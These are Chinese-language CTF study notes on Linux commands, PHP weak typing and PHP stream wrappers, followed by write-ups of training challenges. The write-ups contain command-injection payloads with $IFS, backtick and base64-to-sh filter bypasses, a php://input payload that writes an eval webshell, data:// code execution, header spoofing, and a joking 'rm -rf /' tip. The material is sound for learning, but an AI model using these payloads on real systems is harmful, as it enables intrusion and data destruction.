PHP特性+命令执行
PHP特性+命令执行
第一部分 Linux基础
目录管理
绝对路径、相对路径
绝对路径路径的全称:(比如D盘的brup)D:\Burp\Burp_Suite\xxx
cd:切换目录命令
cd加目录名(绝对路径都是以/开头,相对路径../../)
./ :当前目录
ls : 列出目录(在Linux中最常用)
-a参数:all,查看全部的文件,包括隐藏文件
-l参数 : 列出所有的文件,包含文件属性和权限,不含有隐藏文件
所有Linux命令可以组合使用
mkdir : 创建目录
-p : 创建递归目录(创建多级目录)
pwd : 查看当前目录(显示当前用户所在目录)
rmdir :删除目录(无法删除不为空的文件夹)
如果存在文件需要删除文件,加-p参数
cp(复制文件或目录)
cp 原来的地方 新的地方
如果原来存在y代表覆盖n代表不覆盖
rm : 移除文件或目录
-f : 忽略不存在的文件,不会出现警告,强制删除
-r : 递归删除目录
-i : 询问是否删除
rm - rf / 删除系统所有文件(跑路小技巧)
mv : 移动文件 (还可以重命名QAQ)
-f : 强制移动
-u : 只替换已经更新后的文件
基本属性
d :代表是个目录
- :文件
l : 代表链接文件(link file)
b : 接口(基本不用QAQ)
c : 设备(基本不用QAQ)
chgrp : 更改文件属组
chgrp [-R] 属组名 文件名
chown : 更改文件属主,同时更改文件属组
chgrp [-R] 属主名 文件名
chgrp [-R] 属主名 属组名 文件名
chmod : 改文件九个属性
r : 4 w :2 x : 1(可读可写可执行)
文件内容查看
cat : 由第一行开始显示文件内容
tac : 倒着的cat
nl : 输出行号
more : 一页一页显示
less : 可以翻页的more(上下键翻页)q退出(quit)
head : 看头几行
tail : 只看尾巴几行
查询字符 : /及要查询的字符(会标亮显示)
用问号向上查询 : ?及要查询的字符(会标亮显示)
n代表继续查询下一个
Vim编辑器
vim是vi升级版QAQ
配合插件可以实现和IDE一样的功能
三种模式:命令模式、输入模式、底层命令模式
i : 切换到输入模式,输入字符
x : 删除当前光标所处在的字符
:切换到底层命令模式,需要先退出编辑模式(esc退出)
q : 退出
w : 保存文件
wq : 保存并退出
vim 文件名(存在就打开,不存在就创建)
补充
在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于 服务器端没有针对执行函 数做过滤,导致在没有指定绝对路径的情况下就执行命令
Linux下的分割符
1 ; 前面的执行完后执行后面的
2 | 管道符,显示后面的执行结果
3 || 当前面的执行出错时执行后面的,
4 & 前面的语句为假则执行后面的,前面的可真可假
5 && 前面的语句为假则直接出错,后面的也不执行,前面的只能为真
第二部分 PHP弱类型
==只比较内容
===比较类型和内容
0x表示16进制
例题复现
highlight_file(_FILE_)将源代码显示在页面上
md5()算法在加密时会将数组加密为null,而两个数组都会被加密为null,所以判断为真
请求方法
GET :请求指定的页面信息,并返回实体主体
POST : 向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致心得资源的建立和/或已有资源的修改。
HEDA : 类似于get请求,只不过返回的响应中没有具体的内容,用于获取报头
PUT : 从客户端向服务器传送的数据取代指定的文档的内容
DELETE : 请求服务器删除指定的页面
正则表达式
限定符
?(问号前的字符可有可无)
*(匹配0个或多个字符)
+(匹配出现一次以上的字符)
{范围如2,6}(指定次数)
如果要匹配多个字符用括号括起来
| : 或者
[] : 匹配由特定构成的单词 如果出现^则匹配除^以外的字符
例如[^0-9]代表所有的非数字字符,但是包含换行符
元字符
\d : 代表数字字符
\w : 代表单词字符(英文、数字以及下滑线)
\s :代表空白符(包含Tab和换行)
\D : 非数字字符
\W : 非单词字符
\S : 非空白字符
. : 代表任意字符
^号匹配行首
$匹配行尾
贪婪与懒惰
<.+>会匹配所有包括<>
<.+?>就不会
第三部分 作业+练习
1、Boogipop的抓包练习题
http://114.116.119.253:8001/cg.php
收到回复 : post me a hint in Another Page?
上传hint=(随便填)找到题目
Boogipop is Lazy!QWQ! <?php
include('flag2.php');
if(isset($_POST['hint'])){
echo "Boogipop is Lazy!QWQ!";
highlight_file(__FILE__);
if(is_numeric($_POST['hack'])){
die('too young too simple!');
}
if($_POST['hack']==intval(0x36d)){
echo $flag;
exit();
}
die('try harder');
}
header('Location: http://114.116.119.253:8001/trick.php');
?>
try harder
is_numeric() 函数用于检测变量是否为数字或数字字符串。
hint=19&hack=1
出现第一层if : too young too simple!
破解第二层if($_POST['hack']==intval(0x36d)
intval() 函数通过使用指定的进制 base 转换(默认是十进制)
0x36d是16进制转化为10进制是877
不过我们需要绕过第一层if
方法一
j=1315%20
j=1315%00
方法二
php中当一个其他数据类型和数值类型的数据比较大小时,会先将其他数据类型转换成数值类型,这里输入类似9999a数据也可绕过
j=9999a
2、[极客大挑战 2019]Havefun1
首先进入靶场
用burp抓包
会在返回的信息中获取这些语句
根据语句输入?cat=dog就可以得到flag
3、[ACTF2020 新生赛]Exec
输入127.0.0.1
有回显
用管道符连接ls /
发现了Linux的目录下有一个flag文件
这样只需要查看flag文件即可
这里用到了绝对路径,因为我们实际上是在 /var/www/html
直接出入cat flag是无法找到flag的
4、[GXYCTF2019]Ping Ping Ping
进入后首先会看到
/?ip=
所以我们可以判断出来是get上传
于是我们随机输入一个ip
/?ip=1
显示
PING 1 (0.0.0.1): 56 data bytes
说明有回显
于是我们输入
/?ip=1;ls
出现了一下显示
PING 1 (0.0.0.1): 56 data bytes flag.php index.php
于是我们试着连接cat flag.txt
/?ip= fxck your space!
说明ban掉了空格
于是我们运用Linux系统中的空格符$IFS来代替空格,为了防止连接错误我们还要加上$9来帮助计算机判断
?ip=127.0.0.1|cat$IFS$9flag.php
fxck your flag!
说明flag也被ban了
那先看看index.php
我们看到他ban掉了许多东西
这里我们有三种解决方法
一、利用
?ip=127.0.0.1;cat$IFS$9`ls`
将ls的结果当成cat的参数,那样就不用出现flag这个参数了。结果也是在源码中。
二、命令执行变量拼接
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php //变量替换
三、过滤bash用sh执行
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
最终得到flag
$flag = "flag{14c34fbe-ae6f-476d-b4da-3859ed86a75c}";
5、buuctf [极客大挑战 2019]BuyFlag
首先打开网页会看到有一个关于flag的连接
在发现没有什么有用信息后选择抓个包
看到有一个Cookie: user=0
0代表false1代表true
所以应该试着将0改为1
然后看网页的回复
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
看到是post上传
需要我们上传一个password
这里有一个is_numeric函数它是,用于检测变量是否为数字或数字字符串。
可是我们看到只有我们的password等于404时才会出现password right的字样
所以我们需要绕过is_numeric函数
绕过方法有三个
分别是数组绕过、空数值绕过、转换绕过
这里数组绕过显然不可行,所以我们试着用后面两种方法
我们将user改为1的同时用post上传password=404%00或者=404a
这时我们在回复中就会看到
you are Cuiter</br>Password Right!</br>Pay for the flag!!!hacker!!!</br>
说明我们目前是正确的需要我们购买flag
这时我们需要用money来解锁flag
这时我们试着上传money=100000000试试
结果出现
>Nember lenth is too long
所以我们试着用科学计数法输入
password=1e9
这样我们就得到了flag
flag{446b451f-ebee-4d7e-9cbf-6d5ff016e6ec}
6、buuctf [BJDCTF2020]Easy MD5
首先我们先了解一下md5函数
md5(string,raw)
参数 | 描述 |
string | 必需。规定要计算的字符串。 |
raw | 可选。规定十六进制或二进制输出格式:
|
进入靶场我们会看到一个输入框
根据提示输入ffifdyop
跳转至第二个页面
查看源代码会看到
用get传参上传a和b
同时要绕过md5
if($a != $b && md5($a) == md5($b)
输入?a[]=1&b[]=2
进入最后一个页面
由图中代码可以看出依旧需要绕过md5
只是需要post传参
我们只需要上传
param1[]=1¶m2=2
得到flag
7、[极客大挑战 2019]Secret File
这里首先要学习php伪协议读文件
1.file://协议
条件:
allow_url_fopen : off/on
allow_url_include: off/on
作用:
用于访问本地文件系统,在ctf中通常用来读取本地文件
在include() / require() / include_once() / require_once() 参数可控的情况下,即使导入非.php文件,如shell.txt ,依然按照php语法进行解析,这是include()函数所决定的
说明:
file:// 文件系统是php使用的默认封装协议,用于展示本地文件系统。
用法:
/path/to/file.ext
relative/path/to/file.ext
fileInCwd.ext
C:/path/to/winfile.ext
C:\path\to\winfile.ext
\\smbserver\share\path\to\winfile.ext
file:///path/to/file.ext
示例:
1.file://[文件的绝对路径和文件名]
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
2.file://[文件的相对路径和文件名]
http://127.0.0.1/include.php?file=./phpinfo.txt
3.http://网络位置和文件名
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
2.php://协议
条件
allow_url_open : off/on
allow_url_include: 仅 php://input php://stdin php://memory php://temp 需要on
作用
php:// 访问各个输入/输出流 (I/O streams), 在ctf中经常使用的是 php://filter 和 php://input
php://filter 用于读取源码
php://input 用于执行php代码
说明
php提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流,标准输入输出流和错误描述符
php://filter使用
php://filter/read=convert.base64-encode/resource=[文件名]
这个语句是利用LFI来查看源码
php://input的使用
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>
写入一句话木马
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
3.data://协议
作用:
php>=5.2.0 , 可以使用data://数据流封装器,以传递相应格式的数据。通常用来执行php代码
用法:
data://text/plain, ???
如:http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
4.zip:// & bzip:// & zlib:// 协议
作用:
zip:// & bzip:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可以修改为任意后缀名,如 jpg,png,gif,xxx等
示例:
1.zip://[压缩文件绝对路径]%23[压缩文件内的子文件文件名](# 的编码为 %23)
压缩 phpinfo.txt 为phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传
http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
2.compress.bzip2://file.bz2
压缩phpinfo.txt 为phpinfo.bz2 并上传(同样支持任意后缀名)
http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
3.compress.zlib://file.gz
压缩phpinfo.txt 为phpinfo.gz 并上传(支持任意后缀名)
http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz
开始做题
首先进入靶场,我们没有找到可以交互的地方,于是我们试着查看网页的源代码
我们看到有一个php文件我们点击查看
进入了一个新的页面
看到有超级链接,我们继续点击
说明有一个跳转极快的页面我们没有看到
于是我们试着用bp抓个包
看到了有一个被注释的文件
于是我们试着打开它
接着我们就又进入了新的页面
然后就是代码审计环节
这里看到有一个flag.php试着打开它
结果依旧没有flag
看来这道题需要运用伪协议
继续回到刚才的页面研究代码
既然是读取源码
我们使用php://filter/read=convert.base64-encode/resource=[文件名]语句
查看flag.php文件
于是我们输入?file=php://filter/read=convert.base64-encode/resource=flag.php
然后就出现了以下这一长串经过base64加密的代码
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7MTkzYWExN2YtNjk0Yy00NTMzLWIwZTAtMTgwYjk3ODQzYmU5fSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=
我们需要将它解密
得到flag
8、[极客大挑战 2019]Http
referer:服务器伪造
HTTP协议头部REFERER用法及伪造
1、Refere定义
Referer是HTTP请求header 的一部分,当浏览器(或者模拟浏览器行为)向web 服务器发送请求的时候,头信息里有包含Referer 。比如我在www.xxxx.com 里有一个www.baidu.com 链接,那么点击这个www.baidu.com ,它的header 信息里就有:Referer=https://www.xxxx.com信息
2、Refere作用
1.防盗链
那么可以利用这个来防止盗链了,比如我只允许我自己的网站访问我自己的图片服务器,那我的域名是www.xxx.com,那么图片服务器每次取到Referer来判断一下是不是我自己的域名www.xxxx.com,如果是就继续访问,不是就拦截。
2.防止恶意请求。
比如我的网站上,静态请求是*.html结尾的,动态请求是*.shtml,那么由此可以这么用,所有的*.shtml请求,必须 Referer 为我自己的网站。
3.空Referer是怎么回事?什么情况下会出现Referer?
首先,我们对空 Referer 的定义为, Referer 头部的内容为空,或者,一个 HTTP 请求中根本不包含 Referer 头部。
那么什么时候 HTTP 请求会不包含 Referer 字段呢?根据Referer的定义,它的作用是指示一个请求是从哪里链接过来,那么当一个请求并不是由链接触发产生的,那么自然也就不需要指定这个请求的链接来源。
比如,直接在浏览器的地址栏中输入一个资源的URL地址,那么这种请求是不会包含 Referer 字段的,因为这是一个“凭空产生”的 HTTP 请求,并不是从一个地方链接过去的。
4.那么在防盗链设置中,允许空Referer和不允许空Referer有什么区别?
允许 Referer 为空,意味着你允许比如浏览器直接访问,就是空。
3、Refere可靠吗?
Refere不可靠,但有部分作用,起码增加了爬图难度和成本,因为在浏览器端你是无法指定(伪造),你只能通过定义meta元素告诉浏览器怎么用
<meta name="referrer" content="never"> |
content有如下值:
如果 referer-policy 的值为 never:删除 http head 中的 referer;
如果 referer-policy 的值为 default:如果当前页面使用的是 https 协议,而正要加载资源使用的是普通的 http 协议,则将 http header 中额 referer 置为空;
如果 referer-policy 的值 origin:只发送 origin 部分;
如果 referer-policy 的值为 always:不改变 http header 中的 referer 的值;
4、Refere伪造
只能在服务器端指定,Refere参数位置在$_SERVER['HTTP_REFERER']
4.1、CURL方法
function curl_post($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_REFERER, 'http://www.baidu.com'); $output = curl_exec($ch); curl_close($ch); return $output; }
4.2、file_get_contents方法
$opts = array( 'http'=>array( 'method'=>"GET", 'header'=>"Referer: http://www.baidu.com" ) ); $context = stream_context_create($opts); var_dump(file_get_contents('http://www.c.com/api.php', false, $context));
HTTP 请求头中的 X-Forwarded-For(XFF)
在Java代码实践中,有两种方式可以从HTTP请求中获得请求者的IP地址。一个是从Remote Address中获得,另一个是从X-Forward-For中获得,但他们的安全性和使用场景各有不同。一旦用错,就可能为系统造成漏洞。因此,需要开发者对这两个参数深入的理解。
Remote Address代表的是当前HTTP请求的远程地址,即HTTP请求的源地址。HTTP协议在三次握手时使用的就是这个Remote Address地址,在发送响应报文时也是使用这个Remote Address地址。因此,如果请求者伪造Remote Address地址,他将无法收到HTTP的响应报文,此时伪造没有任何意义。这也就使得Remote Address默认具有防篡改的功能。
在一些大型网站中,来自用户的HTTP请求会经过反向代理服务器的转发,此时,服务器收到的Remote Address地址就是反向代理服务器的地址。在这样的情况下,用户的真实IP地址将被丢失,因此有了HTTP扩展头部X-Forward-For。当反向代理服务器转发用户的HTTP请求时,需要将用户的真实IP地址写入到X-Forward-For中,以便后端服务能够使用。由于X-Forward-For是可修改的,所以X-Forward-For中的地址在某种程度上不可信。
所以,在进行与安全有关的操作时,只能通过Remote Address获取用户的IP地址,不能相信任何请求头。
当然,在使用nginx等反向代理服务器的时候,是必须使用X-Forward-For来获取用户IP地址的(此时Remote Address是nginx的地址),因为此时X-Forward-For中的地址是由nginx写入的,而nginx是可信任的。不过此时要注意,要禁止web对外提供服务。
开始做题
进入靶场后首先会看到
发现没有什么其它可以操作的东西后看一下源代码
在源代码中我们找到了secret.php
点击后我们进入新的页面
它需要我们从https://Sycsecret.buuoj.cn来访问它所以要进行伪造来绕过了所以bp抓包发送给重发器进行伪造那怎么伪造网址访问呢referer:服务器伪造
我们增加一条referer:https://www.Sycsecret.com
进入新的页面它又要我们使用Syclover browser所以又要伪造浏览器所以这里修改User-Agent
它有提示你说只需要本地ip链接就行了所以又要伪造ip了X-Forwarded-For:用于修改ip所以只需要改为本地ip即可127.0.0.1
得到flag